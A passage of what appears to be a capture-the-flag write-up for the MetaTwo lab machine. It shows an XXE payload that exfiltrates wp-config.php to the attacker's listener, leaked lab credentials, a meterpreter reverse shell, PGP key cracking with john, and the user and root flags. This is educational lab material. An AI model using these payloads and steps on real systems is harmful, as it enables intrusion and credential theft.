man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologinI now spent a while trying various permutations of trying to access wp-config.php. Finally, I changed the dtd file to refer to the wp-config.php file like this: “../wp-config.php”
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.36:8080/?p=%file;'>" >Upon uploading the payload.wav file again…
[Tue Nov 1 22:43:55 2022] 10.129.67.186:33144 [200]: GET /NAMEEVIL.dtd
[Tue Nov 1 22:43:55 2022] 10.129.67.186:33144 Closing
[Tue Nov 1 22:43:55 2022] 10.129.67.186:33156 Accepted
[Tue Nov 1 22:43:55 2022] 10.129.67.186:33156 [404]: GET /?p=jVVZU/JKEH2+VvkfhhKMoARUQBARAoRNIEDCpgUhIRMSzEYyYVP87TdBBD71LvAANdNzTs/p6dMPaUMyTk9CgQBgJAg0ToVAFwFy/gsc4njOgkDUTdDVTaFhQssCgdDpiQBFWYMXAMtn2TpRI7ErgPGKPsGAP3l68glXW9HN6gHEtqC5Rf9+vk2Trf9x3uAsa+Ek8eN8g6DpLtXKuxix2ygxyzDCzMwteoX28088SbfQr2mUKJpxIRR9zClu1PHZ/FcWOYkzLYgA0t0LAVkDYxNySNYmh0ydHwVa+A+GXIlo0eSWxEZiXOUjxxSu+gcaXVE45ECtDIiDvK5hCIwlTps4S5JsAVl0qQXd5tEvPFS1SjDbmnwR7LcLNFsjmRK1VUtEBlzu7nmIYBr7kqgQcYZbdFxC/C9xrvRuXKLep1lZzhRWVdaI1m7q88ov0V8KO7T4fyFnCXr/qEK/7NN01dkWOcURa6/hWeby9AQEAGE7z1dD8tgpjK6BtibPbAie4MoCnCYAmlOQhW8jM5asjSG4wWN42F04VpJoMyX2iew7PF8fLO159tpFKkDElhQZXV4ZC9iIyIF1Uh2948/3vYy/2WoWeq+51kq524zMXqeYugXa4+WtmsazoftvN6HJXLtFssdM2NIre/18eMBfj20jGbkb9Ts2F6qUZr5AvE3EJoMwv9DJ7n3imnxOSAOzq3RmvnIzFjPEt9SA832jqFLFIplny/XDVbDKpbrMcY3I+mGCxxpDNFrL80dB2JCk7IvEfRWtNRve1KYFWUba2bl2WerNB+/v5GXhI/c2e+qtvlHUqXqO/FMpjFZh3vR6qfBUTg4Tg8Doo1iHHqOXyc+7fERNkEIqL1zgZnD2NlxfFNL+O3VZb08S8RhqUndU9BvFViGaqDJHFC9JJjsZh65qZ34hKr6UAmgSDcsik36e49HuMjVSMnNvcF4KPHzchwfWRng4ryXxq2V4/dF6vPXk/6UWOybscdQhrJinmIhGhYqV9lKRtTrCm0lOnXaHdsV8Za+DQvmCnrYooftCn3/oqlwaTju59E2wnC7j/1iL/VWwyItID289KV+6VNaNmvE66fP6Kh6cKkN5UFts+kD4qKfOhxWrPKr5CxWmQnbKflA/q1OyUBZTv9biD6Uw3Gqf55qZckuRAJWMcpbSvyzM4s2uBOn6Uoh14Nlm4cnOrqRNJzF9ol+ZojX39SPR60K8muKrRy61bZrDKNj7FeNaHnAaWpSX+K6RvFsfZD8XQQpgC4PF/gAqOHNFgHOo6AY0rfsjYAHy9mTiuqqqC3DXq4qsvQIJIcO6D4XcUfBpILo5CVm2YegmCnGm0/UKDO3PB2UtuA8NfW/xboPNk9l28aeVAIK3dMVG7txBkmv37kQ8SlA24Rjp5urTfh0/vgAe8AksuA82SzcIpuRI53zfTk/+Ojzl3c4VYNl8ucWyAAfYzuI2X+w0RBawjSPCuTN3tu7lGJZiC1AAoryfMiac2U5CrO6a2Y7AhV0YQWdYudPJwp0x76r/Nw== - No such file or directoryWhen translated:
└─$ php -r 'echo zlib_decode(base64_decode("jVVZU/JKEH2+VvkfhhKMoARUQBARAoRNIEDCpgUhIRMSzEYyYVP87TdBBD71LvAANdNzTs/p6dMPaUMyTk9CgQBgJAg0ToVAFwFy/gsc4njOgkDUTdDVTaFhQssCgdDpiQBFWYMXAMtn2TpRI7ErgPGKPsGAP3l68glXW9HN6gHEtqC5Rf9+vk2Trf9x3uAsa+Ek8eN8g6DpLtXKuxix2ygxyzDCzMwteoX28088SbfQr2mUKJpxIRR9zClu1PHZ/FcWOYkzLYgA0t0LAVkDYxNySNYmh0ydHwVa+A+GXIlo0eSWxEZiXOUjxxSu+gcaXVE45ECtDIiDvK5hCIwlTps4S5JsAVl0qQXd5tEvPFS1SjDbmnwR7LcLNFsjmRK1VUtEBlzu7nmIYBr7kqgQcYZbdFxC/C9xrvRuXKLep1lZzhRWVdaI1m7q88ov0V8KO7T4fyFnCXr/qEK/7NN01dkWOcURa6/hWeby9AQEAGE7z1dD8tgpjK6BtibPbAie4MoCnCYAmlOQhW8jM5asjSG4wWN42F04VpJoMyX2iew7PF8fLO159tpFKkDElhQZXV4ZC9iIyIF1Uh2948/3vYy/2WoWeq+51kq524zMXqeYugXa4+WtmsazoftvN6HJXLtFssdM2NIre/18eMBfj20jGbkb9Ts2F6qUZr5AvE3EJoMwv9DJ7n3imnxOSAOzq3RmvnIzFjPEt9SA832jqFLFIplny/XDVbDKpbrMcY3I+mGCxxpDNFrL80dB2JCk7IvEfRWtNRve1KYFWUba2bl2WerNB+/v5GXhI/c2e+qtvlHUqXqO/FMpjFZh3vR6qfBUTg4Tg8Doo1iHHqOXyc+7fERNkEIqL1zgZnD2NlxfFNL+O3VZb08S8RhqUndU9BvFViGaqDJHFC9JJjsZh65qZ34hKr6UAmgSDcsik36e49HuMjVSMnNvcF4KPHzchwfWRng4ryXxq2V4/dF6vPXk/6UWOybscdQhrJinmIhGhYqV9lKRtTrCm0lOnXaHdsV8Za+DQvmCnrYooftCn3/oqlwaTju59E2wnC7j/1iL/VWwyItID289KV+6VNaNmvE66fP6Kh6cKkN5UFts+kD4qKfOhxWrPKr5CxWmQnbKflA/q1OyUBZTv9biD6Uw3Gqf55qZckuRAJWMcpbSvyzM4s2uBOn6Uoh14Nlm4cnOrqRNJzF9ol+ZojX39SPR60K8muKrRy61bZrDKNj7FeNaHnAaWpSX+K6RvFsfZD8XQQpgC4PF/gAqOHNFgHOo6AY0rfsjYAHy9mTiuqqqC3DXq4qsvQIJIcO6D4XcUfBpILo5CVm2YegmCnGm0/UKDO3PB2UtuA8NfW/xboPNk9l28aeVAIK3dMVG7txBkmv37kQ8SlA24Rjp5urTfh0/vgAe8AksuA82SzcIpuRI53zfTk/+Ojzl3c4VYNl8ucWyAAfYzuI2X+w0RBawjSPCuTN3tu7lGJZiC1AAoryfMiac2U5CrO6a2Y7AhV0YQWdYudPJwp0x76r/Nw=="));'This turns into a wp-config.php file!
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';I tried logging into ssh on the box with the two sets of credentials found in the wp-config.php file, and the jnelson username that we found by grabbing /etc/passwd above. I noticed FTP being defined in the wp-config.php, which I know isn’t a standard part of the config normally- which then sparked the idea of trying the login and credentials on FTP.
└─$ ftp
ftp> o
(to) metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.129.67.186]
Name (metapress.htb:): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||29697|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
226 Transfer completeBlog is a folder that contains info we already know about, but mailer is interesting- especially because it was one of the vulnerabilities that stood out in the wpscan results earlier. I checked out the directory and found and downloaded the send_email.php file:
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
$mail->addAddress("[email protected]");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}Let’s take the credentials we just found for James Nelson and try to ssh in with them. They work and we retrieve the user flag on the box.
└─$ ssh [email protected]
[email protected]'s password:
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ cat user.txt
60d2a3fdade4e536f849936ff763a859Privilege Escalation & Root Flag
Now that I’m in, I could continue in my ssh window, but I’ve been kinda playing with different tools. Today I want to use Metasploit and meterpreter, so i’ll start by launching it using msfconsole and using auxillary/scanner/ssh/ssh_login
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set username jnelson
username => jnelson
msf6 auxiliary(scanner/ssh/ssh_login) > set password Cb4_JmWM8zUZWMu@Ys
password => Cb4_JmWM8zUZWMu@Ys
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts metapress.htb
rhosts => metapress.htb
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 10.129.67.186:22 - Starting bruteforce
[+] 10.129.67.186:22 - Success: 'jnelson:Cb4_JmWM8zUZWMu@Ys' 'uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson) Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux '
[*] SSH session 1 opened (10.10.16.36:36691 -> 10.129.67.186:22) at 2022-11-01 23:05:20 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH attacker @ 10.10.16.36:36691 -> 10.129.67.186:22 (10.129.67.186)
Now, I’m going to run post/multi/manage/shell_to_meterpreter to upgrade my session.
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.16.36:4433
[*] Sending stage (1017704 bytes) to 10.129.67.186
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 auxiliary(scanner/ssh/ssh_login) > [*] Meterpreter session 2 opened (10.10.16.36:4433 -> 10.129.67.186:52742) at 2022-11-01 23:05:50 -0400
[*] Stopping exploit/multi/handlerWe now have a session we can interact with as the user we ssh’ed in as, and we can use meterpreter.
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH attacker @ 10.10.16.36:36691 -> 10.129.67.186:22 (10.129.67.186)
2 meterpreter x86/linux jnelson @ 10.129.67.186 10.10.16.36:4433 -> 10.129.67.186:52742 (10.129.67.186)
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >I used meterpreter to bring linpeas over
meterpreter > upload /var/www/html/linpeas.sh /tmp/linpeas.sh
[*] uploading : /var/www/html/linpeas.sh -> /tmp/linpeas.sh
[*] Uploaded -1.00 B of 757.53 KiB (0.0%): /var/www/html/linpeas.sh -> /tmp/linpeas.sh
[*] uploaded : /var/www/html/linpeas.sh -> /tmp/linpeas.shLinpeas produced a lot of output like usual, but one item that stood out was the presence of some type of SSH key present inside a hidden folder in jnelson’s home directory.
══╣ Possible private SSH keys were found!
/home/jnelson/.passpie/.keysrunning the passpie command in the terminal, it looks like we may have some kind of password vault
passpie
╒════════╤═════════╤════════════╤═══════════╕
│ Name │ Login │ Password │ Comment │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh │ jnelson │ ******** │ │
├────────┼─────────┼────────────┼───────────┤
│ ssh │ root │ ******** │ │
╘════════╧═════════╧════════════╧═══════════╛when using cat to look at the /home/jnelson/.passie/.keys file, I saw that there was a public and private key inside.
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
....
-----END PGP PUBLIC KEY BLOCK-----
----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
...
-----END PGP PRIVATE KEY BLOCK-----I used meterpreter to easily download the .keys file to my computer
meterpreter > download /home/jnelson/.passpie/.keys
[*] Downloading: /home/jnelson/.passpie/.keys -> /home/attacker/.keys
[*] Downloaded 5.12 KiB of 5.12 KiB (100.0%): /home/jnelson/.passpie/.keys -> /home/attacker/.keys
[*] download : /home/jnelson/.passpie/.keys -> /home/attacker/.keysI separated the file, and ran the private key through gpg2john to generate a hash
└─$ gpg2john keys2 > keys2.hash
File keys2Now using john, I crack the hash with the rockyou wordlist.
─$ john --wordlist=/usr/share/wordlists/rockyou.txt keys2.hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182 (Passpie)
I didn’t look at the output properly and eventually realized that this is probably the password to unlock the passpie vault. I used the password to complete the export command.
passpie export test
Passphrase: /usr/lib/python2.7/getpass.py:83: GetPassWarning: Can not control echo on the terminal.
passwd = fallback_getpass(prompt, stream)
Warning: Password input may be echoed.
blink182And now I am able to cat the contents of the passpie export file.
cat test
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0And now I am able to use the password inside the file to change user to root and get the final flag.
su root
Password: p7qfAZt4_A1xo_0x
whoami
root
cat /root/root.txt
735d9c273631b3fdb5b2b3624bb58869